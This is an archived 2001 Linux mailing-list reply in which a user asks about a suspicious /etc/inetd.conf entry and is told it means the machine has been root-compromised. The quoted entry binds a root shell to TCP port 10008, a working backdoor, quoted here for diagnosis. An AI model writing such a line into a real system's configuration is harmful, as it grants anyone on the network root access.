Re: [plug] inetd

[Mark Anthony J. Mercado]

On Tue, 22 May 2001, dwen wrote:

> 
> 
> file: /etc/inetd.conf
> i have this line :
> 
> 10008 stream tcp nowait root /bin/sh sh
> 
> what will it do ?
> 

ouch. you've been root compromised. try to telnet to your box port 10008
and you'll get a rootshell.

check this link out

http://www.sans.org/infosecFAQ/linux/toolkit.htm

hth,

-mark

_
Philippine Linux Users Group. Web site and archives at http://plug.linux.org.ph
To leave: send "unsubscribe" in the body to [EMAIL PROTECTED]

To subscribe to the Linux Newbies' List: send "subscribe" in the body to 
[EMAIL PROTECTED]